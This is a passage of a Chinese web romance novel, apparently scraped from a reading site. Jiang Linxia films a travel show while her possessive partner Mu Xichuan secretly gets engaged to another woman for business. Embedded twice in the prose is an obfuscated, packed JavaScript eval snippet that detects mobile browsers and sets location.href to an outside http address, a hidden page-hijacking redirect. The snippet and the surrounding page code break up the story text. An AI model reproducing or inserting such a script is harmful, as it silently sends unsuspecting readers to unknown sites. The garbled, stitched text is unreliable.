慕锡川愿意给她提供庇护,但同时也对她有着一手遮天的掌控欲,可怕的是,姜临夏从没觉得两人之间的相处方式有什么不妥之处。 车子停靠在一座独栋别墅门前,姜临夏推着行李箱进门。这里是节目组提供的住宿场所,在整个节目录制期间,几位嘉宾和工作人员都会住在这里。 为避免在住房这件事上引起不必要的争执,早在一周前,工作人员就组织大家在线上进行了抽签选房。 在工作人员的指引下,姜临夏住进了自己抽中的一号房,在整个二层的最尽头。 虽然这间房位置略偏,距离楼梯口也最远,但这里无遮无挡,还多出了一侧窗子,屋内明亮,窗外景色极佳,多走几步路也值了。 放完行李,其他嘉宾还没到,姜临夏闲来无聊,打算先去看看另外几个房间的分配情况,也好知道自己隔壁住的是谁。 她先走到距离最近的二号房的门前,门上贴着张跟一号房一模一样的门卡,上面赫然印着三个字:郑旭泽。 姜临夏觉得有趣,前段时间在棚里,她还随口逗周笛来着,说她要是再这样助长自己盲目自信的风气,她就要去追郑旭泽了。 没想到,这才刚过去一个多月,她居然真的要跟郑旭泽一起录节目了。 要是周笛在就好了,说不定还有机会跟郑旭泽遥遥相望、四目相对什么的,肯定激动得三天睡不好觉。 姜临夏被自己脑补出的情景逗笑,忽然听见楼下有声响,估计是其他嘉宾抵达别墅了。 果然,她站在楼梯上,探着身子往楼下看,就见刚刚那几位工作人员正将一个人团团围住。 其中一个女孩子激动道:“郑老师,您可不可以帮我签个名?” 见有人开了头,旁边的女孩子也大胆提出了请求:“郑老师,我可以跟您合照吗?我就想自己留着看,绝对不发到社交平台上面,我保证!”说着,还伸出了三根手指举在耳边,以示决心。 郑旭泽倒是很好说话,他一一满足了大家的要求,提着行李箱打算去看看自己的房间。结果刚走出几步,就看见姜临夏迈下最后一级台阶,朝着他们这边走过来。 来之前郑旭泽看过同期录制的几位嘉宾的照片,他一眼就认出了姜临夏,主动上前打招呼道:“你好,姜小姐,我是郑旭泽,多多关照。” 姜临夏握上他伸出来的手,应道:“你好,郑先生,久闻大名,多多关照。” 郑旭泽腼腆一笑:“你可别这么说,我都惭愧死了。” 想到刚刚那两个工作人员跟他要签名的情形,姜临夏此地无银地清了清嗓子,也学着她们的称呼,道:“那个,郑老师,我有个朋友特别喜欢你,是你的超级粉丝,我能帮她要个签名吗?” “没问题啊。”郑旭泽答应得爽快,“但是我没带纸和笔,你有吗?” “有啊,有的!”姜临夏使劲儿点点头,“在楼上房间里,我去拿。”说着,就往楼上跑去。 见郑旭泽也要上楼放行李,姜临夏刚跑了两步又折返回来,问他:“有什么需要我帮忙的吗?要不....”她对着郑旭泽仔仔细细巡视了一圈,发现只有一只电脑包是她能自信提得动的,“我帮你提着电脑包吧。” 猜到她不想白白麻烦自己的小心思,郑旭泽便没有客气,把电脑包递到了姜临夏的手里:“那就麻烦你啦。” 姜临夏乐呵呵地接了过去:“小事,小事。” 这一来一回间,两人快速熟悉起来。等郑旭泽整理完行李后,拿着签好名字的本子敲开了姜临夏的房间门。 “谢谢。”姜临夏结果本子,随口问道,“你都收拾好啦?” 郑旭泽点点头:“是啊,东西不多,随便收拾了一下。”他看了眼时间,已经快下午一点钟了,于是问姜临夏,“都这么晚了,你吃饭了吗?” “没有。”姜临夏摇摇头,如实答到。 郑旭泽提议:“那不如一起出去转转,看这附近都有什么好吃的。我来之前,经纪人帮忙查过,说宁城的锅贴扁食很有名,去尝尝?” 由于起得太早,姜临夏一直没什么食欲,除了在飞机上吃了两只小面包外,她这大半天里就一直没再吃过东西了。 这会儿姜临夏的确感觉饿了,可她心里有些顾虑:“我们一起出去吃饭的话,会不会不太方便啊?我一个素人倒没什么,就是怕会给你造成不好的影响。” 郑旭泽可是当红的流量小生,正处于事业上升期,要是在这个紧要关头被误会了恋情,怕是会耽误他的职业发展,那姜临夏就太过意不去了。 不过,郑旭泽倒一副无所谓的态度:“不会的,我们本来就一起录节目,提前出去露露脸,说不定还能帮节目组宣传一下,增加点热度呢。” 既然当事人都不在意,姜临夏也就没再犹豫,她从床上拿过手机:“那走吧。”一边下楼,一边点开了美食推荐app。 两人一直在外面闲逛到太阳西沉才回去,不知是起太早的缘故,还是没有慕锡川在身边的不适应,姜临夏总觉得这一天过得很漫长。 长到她甚至怀疑自己已经离开陵城足有半年之久,其实仔细算下来,现在距离早上出门,也不过才十三四个小时而已。 姜临夏躺在床上,摸过手机,已经八点多了,也不知道慕锡川在做什么。 她打开微信,点进慕锡川的聊天对话框,敲下一行字:【想我了没?】点击发送。 很快,慕锡川回过来:【想了。】 干巴巴的两个字,读不出一点情绪来。 以前姜临夏对慕锡川过于简洁的聊天习惯表示过很多次抗议,每次慕锡川都答应她以后会改变,可那都只是出于不想和她争吵而哄人的鬼话。 其实在一起时间久了,姜临夏慢慢也习惯了他这样不冷不热的态度,这次大概是两人身处异地的缘故,本来就看不见摸不着的,他还这样敷衍了事,姜临夏有点不高兴,又发过去一条:【你在干嘛呢?回消息一点都不热情】 但发文字觉得无法清晰表达自己的不满,紧接着又补了个生气且哄不好的表情包。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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见慕锡川脸色越来越沉,许烛没敢再出声,识趣地坐直了身子,包厢中的气氛瞬间凝滞下来。 以为是许烛的蛮横不讲理惹怒了慕锡川,一旁的曹洋忙找话题,企图缓解僵局:“慕哥这是在跟嫂子报备行程呢吧?” 许烛闻言,倏地转过头看向曹洋:“什么嫂子?” 见慕锡川没有否认,她心里打着鼓:“阿川,你谈恋爱了?” 慕锡川扣下手机,舀起一勺冰粉送进嘴里,语气不耐道:“你哪来的这么多问题?不是你说的饿了,非要出来吃饭么,怎么不吃了?” 凉丝丝、甜腻腻的冰粉在嘴里化开,慕锡川不禁皱了皱眉,他最讨厌甜食。 每次跟姜临夏出来吃饭,她都要点上一碗冰粉,真不知道这东西有什么好吃的,可她每次又都吃得津津有味。 见他面露不悦,许烛也没敢再追问刚刚那句“嫂子”是什么意思,但心里却一直惦记着这事儿。 等聚会结束,看着慕锡川离开餐厅后,许烛一把拉住了正要上车的孙耀南,质问他:“孙耀南,刚刚曹洋说的嫂子是什么意思?难道阿川的身边真有别的女人了?” 孙耀南、许烛、曹洋几个人,跟慕锡川是从小一起长大的发小,他们互相熟知彼此的秉性和过往,孙耀南自然也看得出许烛是喜欢慕锡川的,并且一直喜欢了很多年。 可感情这东西,不是说谁出现的早,就能先到先得。 虽然实话说出来很伤人,但他不想看着许烛自欺欺人,还是决定说出实情:"嗯,慕哥他有女朋友了,而且他们关系很好,在一起已经三四年了,你就别再惦记他了。其实我们都看得出你是喜欢慕哥的,可这么多年慕哥对你的态度,你也应该知道的,他根本就不喜欢你,他就是...." 许烛愤怒地高声打断他:“你知道什么?我跟阿川马上就要订婚了,他还没告诉你吧?” 被她突然这么一吼,孙耀南有点不高兴,没好气道:“我不知道你们要订....什么?我靠!你们要订婚??!!!” 12. 第 12 章 “是啊,订婚宴就在明天,你要是不信的话,明天可以亲自来看,要我给你发张请帖吗?”许烛说着,翻了个白眼,“孙耀南,我告诉你,阿川是我的,永远都是我的,谁都抢不走!” 说完,许烛钻进车里,一脚油门踩到底,扬长而去。 直到餐厅的服务生过来询问需不需要帮忙叫车,孙耀南才恍然间回过神来,他赶紧摸出手机,打给慕锡川求证。 电话很快被接起,求知心切,孙耀南连声“慕哥”都忘记喊了,直接嚷到:“你什么时候跟许烛订婚了?” 慕锡川倒是十分平静:“明天。”理所当然到让孙耀南觉得,自己只是在跟他确认一场普普通通的会议开始时间。 .......... 孙耀南:“我靠!刚刚许烛跟我说的时候,我还以为她在耍我呢!没想到你真要和她订婚了!那姜临夏呢?你们订婚了,她怎么办?” 慕锡川莫名其妙:“我跟许烛订婚只是为了推进和许家的合作,又不是真的要结婚,跟临夏有什么关系?” 孙耀南音量不减:“怎么没关系啊?她可是你女朋友啊!你前脚把人送进组了,转头就去跟别的女人订婚,就不怕姜临夏知道了跟你闹?” 慕锡川把手机拿开一些,揉了揉耳朵:“她没你这么无聊。” 孙耀南无话可说:“行,还是你们会玩儿,我算是彻底服了。” 挂断电话,慕锡川想了想,还是编辑了一条消息,发给陈宇:【明天我跟许烛订婚,你提前关注下网上的消息,一旦发现有和订婚相关的热搜,就立刻让人撤下来,我不想让临夏看见。】 虽然明天订婚的场所门卫森严,且慕锡川早就交代过那边的工作人员,整场仪式要求绝对保密,不许对外透露任何一点消息。 可毕竟孙耀南这个人一向乌鸦嘴,现场保不齐会发生点儿什么突发状况,还是提前防备一下为妙。 消息发出后,陈宇很快回复过来:【明白,慕总,我这就去安排。】 -- 姜临夏进组的第二天,全新一期《锦绣河山》正式开始录制。 与其他真人秀类节目不同,《锦绣河山》没有太多的条条框框,杨锦婳只给大家交代了最终提交作品的时间和时长要求,并组织嘉宾分组活动,至于大家想拍什么样的主题,以及想去哪里拍,都可以自行决定。 本次录制的嘉宾一共四人,除了姜临夏和郑旭泽外,还有一男一女两个人。女孩子名叫赵一晗,是一名短视频博主,男孩子名叫刘熹,是一名插画师。 昨晚睡前进行了第一轮分组,姜临夏跟郑旭泽成为了节目录制首日的队友。 既然要探索一座城市,那必然要从其独特的民宿民情入手,姜临夏第一个想到的就是吃。 “民以食为天”,不论在哪个年代,哪个社会背景下,吃饭都是一等一的大事。 她提议:“不如咱们就从美食入手,不去豪华的星级餐厅,而是到街头巷尾里寻找一些开了很多年的老店,看看宁城本地人日常都吃些什么。” 郑旭泽觉得她的提议不错,当下就跟宁城本地的朋友咨询了一番,大致掌握了几家口碑不错的老牌饭店。 两人经过几轮的考察和筛选后,最终选中一家有着几十年历史的牛肉锅贴扁食店,作为本轮拍摄的第一站。 宁城本身就是座旅游城市,今天又赶上是周末,很多省内省外的游客慕名而来。等他们把车开到店门外的时候,门口已经排起了长长的队伍,没个四五十分钟根本摸不着店门。 郑旭泽是公众人物,不适合贸然出现在人员密集的地方,容易引起骚乱,姜临夏决定自己一个人下去排队。 等她提着锅贴和牛杂粉丝汤回到车上,已经是下午一点钟了。 趁着吃饭的闲暇时间,姜临夏拿出手机,快速翻看着这两天的热点新闻。 这是她工作以来养成的习惯,每天再忙也要抽空扫一圈各大平台的热搜话题和热门文章,借此掌握最新的娱乐动向和审美新趋势,这对拍摄风格的改进有很大帮助。 她刚咬下一口酥脆的锅贴,忽然在热搜榜上看见一个话题:【陵越集团总裁与许氏千金于今日宣布订婚】 陵越集团总裁....那不就是慕锡川吗?难不成国内还有第二个陵越集团? 姜临夏犹豫着点进了那条话题,可链接打开后,里面却空空如也,整个界面是灰色的,中间一行小字显示话题不存在。 她以为是自己的手机网络出现卡顿,于是退出重新点进去查看。可就这么一进一出的工夫,页面自动刷新后,那条话题就不见了,再想搜索却什么也搜不到了。 而最新一条关于陵越集团的新闻,则是公寓式酒店正式对外招标的消息,跟订婚二字简直八竿子打不着。 姜临夏不禁陷入自我怀疑:难道是她看错了? 或许吧,毕竟慕锡川可是个坚定的不婚主义,又怎么可能忽然跑去订婚呢?一定是她自己太恨嫁了,但凡看见个跟慕锡川有关的消息,都会往那方面想。 见她愣神,郑旭泽在她耳边打了个响指:“想什么呢?都入迷了。” 思绪忽然被打断,姜临夏这才想起来,自己还在工作呢,于是快速整理好情绪,投入到接下来的拍摄当中去。 一下午的拍摄进行得十分顺利,两人赶在晚饭前回到了住处,进门后看见另一组的两位嘉宾已经先他们一步回来了。 和前一晚一样,每天收工后的时间节目组便不会再占用,几位嘉宾可以自由安排。刘熹和赵一晗都有自己的工作要做,于是并排坐在一起,一人一台电脑,大有在镜头前上演一番996打工人的架势。 郑旭泽前段时间刚接了个戏,等《锦绣河山》拍完后就要进组了,吃过饭也拎着剧本回房间研读去了。 四人之中就属姜临夏最闲,她拎着手机走到二楼的露台上,一边望着远处的霓虹闪烁,一边回味着白天看到的那条热 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姜临夏不禁有些茫然。 明明是她先挑起的话题,慕锡川只是配合地给了回复,可她自己却先怂了。 究其原因,姜临夏意识到,可能是因为她从没想过有一天慕锡川会结婚,如果真到了那一天,她连如何体面退场都不知道。 其实,刚刚给慕锡川发消息,也只是她的一时冲动之举,结果这会儿见人家接招了,倒真有些慌了手脚。 姜临夏怕看完消息后被情绪左右,影响脑子运转,干脆先盲目预测结果,快速在心中排列着针对他各种不同答复的应对方案。 想着想着,方案没想出来,却先被自己的紧张无措给吓到。 等回过神后,姜临夏摇摇头,自嘲般笑了笑,没想到有天她竟会为了一个男人,将自己陷入如此卑微的境地,还真是没出息啊。 算了。 姜临夏认命般拿起手机,查看慕锡川的回复。 消息不算长,但对于他这种向来惜字如金的人来说,已经可以称得上是长篇大论了:【我说过我不会结婚的,所以我不娶你,也不会娶别人。你好好录节目,不要总是胡思乱想,乖。】 虽然心里看不起自己的不争气,可又不得不承认,在看到慕锡川的这段话后,她还是悄悄松了口气。 姜临夏觉得自己一定是病了,像这种放到网上肯定会被骂得外酥里嫩,连骨头渣儿都不剩的渣男语录,对于现在的她而言,却像是在一个快要渴死了的人面前摆上一碗毒药,喝不喝的,结果都是死。 可能她就是想在死之前让自己再最后快乐一下吧,哪怕明知道是饮鸩止渴,她也甘之如饴。 究竟是从何时起,她竟活得如此卑微,需要在慕锡川冰冷的只言片语中捡拾起疑似爱情的碎片,来填补自己那颗空落的心脏了? 13. 第 13 章 离开节目组回陵城的那天,是老吴一个人去机场接的姜临夏。 她四下里巡视了一圈,也没找到那个心心念念的身影,但还是不死心地问老吴:“慕锡川没来吗?” 老吴接过行李箱,毕恭毕敬道:“姜小姐,慕总他临时有事,脱不开身,派我过来接您。” “这样啊....”姜临夏有些失落,但也没再多问什么,转身上了车。 这些年来,她养成了不打听慕锡川私事的习惯,她不问他不说,是他们两个能维持和谐共处的默契。 车子离开机场路,一路朝着市区的方向开去。 姜临夏看了眼手表,14:20。 这会儿时间还早,既然慕锡川有事缠身,估计一时半会儿不会回家,她就是回去了也是一个人待着,怪无聊的,不如找点事做打发时间。 车内音乐一首播完,自动切换到下一首,曲调听着耳熟,直到歌曲唱到副歌部分,姜临夏才记起来,这是前段时间郑旭泽新上映的电视剧主题曲,进组那晚她特意搜来听过。 说起郑旭泽,她忽然想到,行李箱里还收着一张他的签名呢,不如现在就去找周笛,给她个惊喜。 姜临夏往前探了探身子:“吴叔,我先不回家了,您送我去工作室吧。” “好的,姜小姐。”老吴应着,把车拐上了碧湖桥。 如姜临夏所料,拿到郑旭泽的签名照后,周笛直接把她这个挖井人丢到了一旁,抱着照片反复观赏,还激动地贴在嘴上噼里啪啦亲了好几下。 姜临夏不禁好笑,果然还是她认识的那个笛子姐,重色轻友的一把好手。 周笛小心翼翼把签名照收进办公桌里,才又走回姜临夏的身边,一把环住她,问到:“临夏,你这次录节目跟郑旭泽离得够近了,怎么样,他本人看着是不是比照片上还帅?” 姜临夏向上翻了翻眼睛,思忖好半天后给出个中肯评价:“还行。” 闻言,周笛一脸的嫌弃鄙夷:“你什么眼光啊!你管这叫还行?那你告诉我,什么才叫帅?” “临夏。” 还不等姜临夏开口掰扯,忽然听见门外有人叫她的名字,一回头就看见慕锡川正站在门口,探着身子往里面看。 姜临夏瞪圆了眼睛,惊讶道:“你怎么来了?” 慕锡川挑眉看着她:“来接你回家。” 听见外面说话的是个男人的声音,周笛敏锐的八卦嗅觉瞬间被触发,她小跑着凑上来:“临夏,谁来了?”只见一个陌生男人站在门外,眼睛紧紧盯着姜临夏。 见周笛也跟了出来,姜临夏有些不知所措地愣在原地,倒是慕锡川应对自如,对着一旁的周笛点点头。 就这一眼,周笛就被慕锡川那过人的相貌和气质惊艳到,见他明显是冲着姜临夏来的,于是抬手碰了碰姜临夏:“临夏,这位是....” 姜临夏犹豫着不知该如何介绍慕锡川的身份,说是男朋友的话,慕锡川肯定会觉得她是在耍心机,逼他给自己名分。 可要说他们不认识,又明显把周笛当傻子,她可没那么好骗。 姜临夏大脑飞速运转,试图快速给慕锡川安排一个合情合理又合法的身份。 思索片刻后,果然福至心灵,她指着慕锡川对周笛道:“笛子姐,他是我邻居,下班顺路把我捎回家。那个,没什么事的话,我们就先走了啊。” 说完,她推着慕锡川走出了工作室的大门,自始至终都没敢去看周笛的表情--不用看她也能猜到,肯定一半是无语,一半是揶揄。 直到他们二人完全消失在视线里,周笛才后知后觉地感慨道:“靠,这人是谁啊?也太帅了吧!” 他的帅跟那些娱乐圈里的小鲜肉完全不同,比如说,郑旭泽很好看,但那是经过刻意打扮,还化了精致妆容后的好看。 而刚刚那位却是一个活生生出现在现实里的男人,未加修饰,也不染半分胭脂,简直帅翻了! 难怪她问姜临夏郑旭泽帅不帅的时候,那丫头说还行。天天对着这么个大帅哥,可不是看谁都一般呢! 这屋子里犯花痴的可不止周笛一个人,从刚刚慕锡川进门开始,李可纯的视线就像是粘在他身上了一样,怎么都挪不开,还上上下下、来来回回地不停打量着人家。 这会儿听到周笛的话,李可纯也痴痴地问到:“笛子姐,刚刚那个人真的是夏夏姐的邻居吗?” 周笛闻言,眯了眯眼睛:“我看可不像。” 英雄所见略同,李可纯点点头:“我也觉得不像。那个人应该是夏夏姐的男朋友吧?至少也是夏夏姐的追求者。他们简直男才女貌,天造地设,太养眼,太般配了。”这小姑娘平时看着呆呆萌萌的,话也不多,可一聊起八卦倒是很有见解的样子。 旁边的邱晨轻嗤一声,不以为然道:“般配个屁。” 察觉到他情绪不对劲儿,李可纯奇怪道:“你怎么啦?” 回想起两个月前酒吧那晚发生的事,邱晨心里依旧十分不爽。 可他又不能告诉李可纯,自己是因为样样比不过慕锡川而心有不甘,也因为姜临夏偏袒慕锡川而对他耿耿于怀。 他愤恨了半天,也只憋出一句:“他配不上夏夏姐。” 李可纯无法赞同:“怎么就配不上了?夏夏姐的确很优秀,可刚刚来接她的那个人也很帅啊,不仅颜值高,身材好,还多金!” 说着,她透过落地窗往楼下看去,就见慕锡川关上了副驾驶的车门,绕过车头,进了驾驶室。 李可纯像是找到了支撑自己论点的证据般,激动地指着外面道:“人家开着宾利呢!宾利,豪车!” 却不想,她刚嚷完,邱晨却直接站起身来,扔下一句“俗气!”后,转身离开了办公室。 李可纯无辜地眨了眨眼睛:这人刚刚不是还好好的,怎么突然生气了?莫名其妙。 车里,慕锡川的脸色并没有比邱晨好到哪里去。 来之前,他刚从公司员工的手机上看完网友剪辑的cp向视频,姜临夏跟郑旭泽举止亲昵,比跟自己在一起时笑得还要真实灿烂。 慕锡川心里早就窝了一团火气,刚刚当着几个外人的面,他又耐着性子配合姜临夏演戏。这会儿只剩下他们两个人了,慕锡川坐进车里,关好门,却并没有要走的意思。 他转过头看着姜临夏,揶揄道:“我什么时候成你邻居了?”似乎对她给自己的新身份并不满意。 姜临夏拉过安全带,系好后才不紧不慢道:“你少跟这儿得了便宜又卖乖,我不说你是我邻居,难道要跟我的朋友们介绍说你是我男朋友?我倒是愿意说,你愿意听吗?” 如她所料,慕锡川无言以对。 沉默了半晌后,他一边发动车子,一边再次开口道:“下次你可以说我是你的室友。” 内容离谱,但语气平静,无波无澜,让人摸不透他究竟是在开玩笑,还是认真的。 姜临夏:“....” --< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15375498|168315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>夜里,姜临夏趴在慕锡川身上,仰头看着他:“你今天怎么会去工作室接我?”语气中带着明显的紧张,仿佛是在求证什么般。 慕锡川点燃一棵烟,深深吸了一口才道:“你是我的女人,我想去哪儿接就去哪儿接,不行?”脸上依旧是那副无所谓的表情。 姜临夏眉头轻蹙,不知道他是不是故意要打岔:“我不是这个意思。” “哦?”闻言,慕锡川快速眨了几下眼睛,换上一脸天真无辜的表情看着姜临夏,问她,“那你是什么意思?”看那样子,倒真有几分求知若渴的虔诚。 这下姜临夏确定了,他就是在故意捣乱。 被他这么一搅和,姜临夏明白,不论自己接下来想说什么,只要一开口,都会显得心机深重,别有用心。 既如此,她干脆不去关心慕锡川的看法,只问自己想知道的:“你不是一直不想被人知道我们的关系吗?怎么今天还特意跑去我朋友面前晃?就不怕他们看出什么来?” 一直到抽完最后一口烟,慕锡川才抬手顺了两下姜临夏的头发,缓缓开口道:“我只是不结婚,并没有要否定你的存在。” 还是那么的理所当然,那么的高高在上.... 姜临夏无声地叹了口气,下午才又燃起来的渺茫希望,刚刚过去几个小时的工夫,就又破灭得彻彻底底。 她就不该问的,至少还能给自己留一点做梦的空间。 -- 自打昨天下午见了慕锡川一面后,周笛就对他有种莫名的熟悉感,总觉得这人好像在哪儿见过,可又想不出具体是哪里。 一直到晚上,孟启来工作室接她下班,周笛这才恍然大悟:这人不就是秦颂的老板,慕锡川吗?上次在酒吧,她远远看见他们两个在那儿说话来着。 靠!姜临夏这丫头出息了,还真是不鸣则已一鸣惊人啊,这么多年也没见她谈过恋爱,结果这一谈就直接谈上了陵越老总! 难怪之前给她介绍秦颂的时候,她一直看不上,对于慕锡川这个霸总中的霸总来说,秦颂一个小小中层怎么可能比得过嘛! 周笛实在是对他们两个的事太好奇了,有好多想跟姜临夏问的事,只是碍于这会儿时候太晚了,万一两人正浓情蜜意,她贸然打扰就不好了。 就这样一直忍到第二天,趁着姜临夏来工作室取拍摄单子,周笛一把将人拽住。 看着她那求知若渴的眼神,姜临夏心里一阵莫名:“怎么了?我脸上有东西?” 周笛挑挑眉,笑得阴险:“昨天来接你的那个,不是你邻居吧?” 还以为她要说什么,姜临夏耸耸肩:“这你都知道。” “我知道的可不止这些呢!”见她没有否认,周笛顿时来了精神,身体倚靠在桌子上,装作掐指一算道,“我还知道,你男朋友不是普通人,他是陵越集团的老总,慕锡川。我没说错吧?” 姜临夏攥着档案袋的手忽然一顿,见她没说话,周笛当她是默认了,又接着问出了自己心中的好奇之处:“不过,你们是怎么认识的啊?我之前一直听人说,慕锡川这个人生性冷漠,不近人情,除了身边几个发小亲信外,其他人是很难接近他的。” 难得听见一句关于慕锡川的中肯评价,姜临夏不禁一声苦笑,可她又无法对周笛说出实情,只能敷衍道:“我们不是你想的那种关系。” “啊?什么意思?”周笛没懂。 “我也不知道该怎么和你解释,反正,以后你就知道了。” 14. 第 14 章 新一期《锦绣河山》的播出日期定在了十一月底,为了提高热度,节目组先放出了一段先导片。 刚好今晚慕锡川有空,早早回家陪姜临夏一起看电视。 先导片的内容是在宁城最后一晚的单人采访。镜头前,主持人问姜临夏:“姜小姐,以上就是我们全部的采访内容,最后还有一个例行的私人问题想跟你八卦一下。你有男朋友吗?” 片刻的停顿后,姜临夏轻轻点了点头:“有。” 能挖出如此吸睛的话题,主持人不免有些兴奋,追问到:“那方便透露一下你男朋友的身份吗?” 姜临夏笑着摇摇头:“不好意思啊,这个不太方便透露。”主持人明显面露遗憾,但仍旧表示可以理解。 可此言一出,屏幕前的观众却再也坐不住了,直接在弹幕里炸锅式地讨论起来。 不少人猜测姜临夏的男朋友就是郑旭泽,还分析她之所以不方便透露男朋友的身份,是因为对方是演员,是公众人物,上升期谈恋爱自然是要保密的。 也有极少数持反对意见的,认为姜临夏跟郑旭泽两人只是节目中的搭档而已,她真正的男朋友另有其人。 但由于势单力薄,反对的观点刚一发出来,就被大量cp粉的言论淹没殆尽。 不知是谁开的头,先发了一句:【只有我一个人觉得郑旭泽和姜临夏配一脸吗?】 这句之后,立刻冒出来一群人,跟风发些嗑cp的弹幕,例如【在一起!】【这门亲事我同意了】【原地结婚!】更有甚者,直接在弹幕里喊起了“嫂子”,场面一度不受控制。 视频投屏后被放大的不只是画面,还有弹幕里的文字,黑底白字杵在眼前,清晰明了,姜临夏想遮都遮不住。 看着满屏飘过的虎狼之词,她忽然有种不好的预感,果然刚一转头,就看见慕锡川朝她扑了过来。 慕锡川倾身,把姜临夏压在身下,嘴唇碰着嘴唇地问她:“你男朋友什么时候变成郑旭泽了?”说话间,两人气息交缠,氛围暧昧且胶着。 姜临夏没有回答他的问题,莞尔道:“那不然我男朋友是谁?” 慕锡川知道她想听自己说什么,却迟迟没有回答,只是紧紧地盯着姜临夏,眼神逐渐晦暗起来。 “真想把你关起来,除了我,谁都不许看你。”说完,他低下头,对着姜临夏的软唇吻了上去,霸道而又带有侵略性。 姜临夏吃痛,想推开他却拗不过,只好闭上眼睛,任命般由着他在自己身上发泄醋意。 感受到慕锡川的呼吸越来越重,姜临夏忽然悲从心底起,她明白,就算他对自己的占有欲再强,那也不过就跟狗撒尿占地盘是一样的道理,只是对自身能力的认可,而无关乎爱。 他从不承认姜临夏是他的女朋友的,却时常把“他的女人”挂在嘴边。因为女人可以随时上床又不用负责,永远见不得光,而女朋友却是正大光明的存在,是要给未来、给承诺的。 慕锡川伸手勾住姜临夏的内衣带子,刚要扯下来,一阵清脆的来电铃声响彻房间。 他手上动作一滞,转而从口袋里抽出手机,按下了接通键。 姜临夏有些奇怪,以往两人情到深处时,偶尔也会有电话打进来,可慕锡川从来没接过,都是事后再回拨过去。 他今天这样实在反常,就像是特意在等谁的电话一样。而不管对面的人是谁,对慕锡川来说,应该都比她更重要。 无奈慕锡川站得太远,姜临夏完全听不见对方说了什么,只能听见慕锡川言简意赅的回应,“我不去了”“嗯,有事”“真的在忙”“那你把地址发给我”。 透过这只言片语,姜临夏已经脑补出了一个娇娇女人的夺爱大戏。 结果也不出所料,挂断电话后,慕锡川没再进一步向她索取,而是快速起身整理好凌乱的衣衫,一边往门外走一边对姜临夏道:“晚上不用等我了。” 姜临夏不甘心就这么放他走,连句解释都没有,还真把她这儿当旅馆了? “你真要走?都快十点了,有什么事不能明天解决?” “明天来不及。乖,你早点休息。” 手刚搭上门把手,慕锡川又转过身问她:“明天你有什么安排?” 姜临夏想了想:“明天我要去棚里,有个小明星找我约拍,好像叫丛嫣。” 慕锡川皱了皱眉,重复道:“丛嫣?”上次听陈宇说过,慕宸赫的女朋友好像就叫这个名字。 “嗯。”察觉到他的异样,姜临夏心生疑虑,“你认识?” “不认识。”说完,慕锡川推门而去。 看着他决绝而去的背影,姜临夏忽然冒出一个念头:究竟是什么样的人,才能大半夜对慕锡川召之即来?还是把人从床上给招走的?反正她是没有这么大的面子。 从刚刚慕锡川的只言片语中不难听出,对面的人对他来说很重要。那几句话看似是在拒绝,可语气却温柔到了骨子里,而且那人不出三句话,便教慕锡川全线溃败,丢下自己就出门去了。 是初恋情人?还是一直都没追到手的白月光?姜临夏不得而知。 她这才意识到,自己对慕锡川的了解简直少之又少,要是哪天慕锡川想甩掉她,只需要关掉手机,他这个人从此就在姜临夏的世界里消失了。 想到这儿,姜临夏不禁打了个寒颤。 -- 陵城风澜居,许烛、丛嫣、孙耀南、曹洋,四人围坐在包厢里,一边喝着酒,一边等慕锡川过来。 她今天借着过生日的由头,把几个关系亲近的朋友叫到一起,目的就是不给慕锡川拒绝她的空间。 刚刚电话里能明显听见嘈杂的背景音,估计慕锡川正陪着姜临夏看电视呢,今天她参加的那个破节目放出了个什么物料,热搜上挂了一整天,看得许烛快烦死了。 闲聊间,曹洋看了眼时间:“这都十点多了,慕哥怎么还没过来?我听陈助理说他今天下班就离开公司了,这大晚上的能有什么事啊?” 孙耀南一副了然状:“这你就不懂了吧,今天晚上八点,《锦绣河山》节目组说是要放个先导片出来预热,慕哥肯定在家陪女朋友看电视呢。” 曹洋恍然大悟:“对哦!我刚刚来的路上还看到热搜了,据说片子刚放出来十分钟,播放量就破了一千万!这是要大火的节奏啊!” “不过,”曹洋面露担忧,“我还看见很多人都在说姜小姐跟郑旭泽是一对儿,还有路人拍到他们一起逛博物馆的照片,看着确实很般配,也不知道慕哥看见了没。” 孙耀南却不以为然:“看见又能怎么样,慕哥哪儿不比郑旭泽强?有慕哥在,姜临夏肯定看不上那个小明星的。” “也对,我要是姜小姐的话,肯定也选慕哥,毕竟慕哥他....” 不等曹洋说完,许烛高声打断他的话:“你们两个有完没完?吵死了!能不能把嘴闭上!” 被她这突如其来的一声吓住,曹洋话到嘴边又咽了回去。 这么多年,孙耀南一直看不惯许烛的大小姐脾气,但看在慕锡川的面子上也很少和她计较,这会儿实在没忍住,冷哼一声:“怎么着,还不让人说话了?” 许烛不甘示弱:“孙耀南,今天是我生日,我请你过来是一起吃饭庆祝的,不是让你来给我添堵的。” 孙耀南不屑道:“你该不会真以为我想跟你吃饭吧?我不过是看在慕哥的面子上才过来的,你还真把自己当回事儿了啊?” 许烛哪里受过这种气,脸颊极速涨红:“孙耀南,你有病吧?” 眼见着气氛急转直下,一直没说话的丛嫣赶紧打起了圆场:“孙先生别生气,今天小烛过生日,请大家过来吃饭也是为了高兴嘛,大好的日子就别提些不相干的人了。” 丛嫣是娱乐圈里一个十八线的小演员,没什么名气,虽然老爸丛金皓是皓依药业的老板,家里有点儿小钱,但想要够得上陵城二世祖的圈子,还差得远了。 她今天之所以能跟孙耀南和曹洋他们坐一桌,完全是因为许烛以好闺蜜的身份把她带过来的。 这样一个人,孙耀南根本没有卖她面子的必要,言语间便也没留情面:“要是姜临夏这个正牌女友都算不相干的人,那谁才是相干的呢?该不会是那些从小到大一直追在慕哥屁股后面跑,结果人家一次都没正眼瞧过的人吧?” 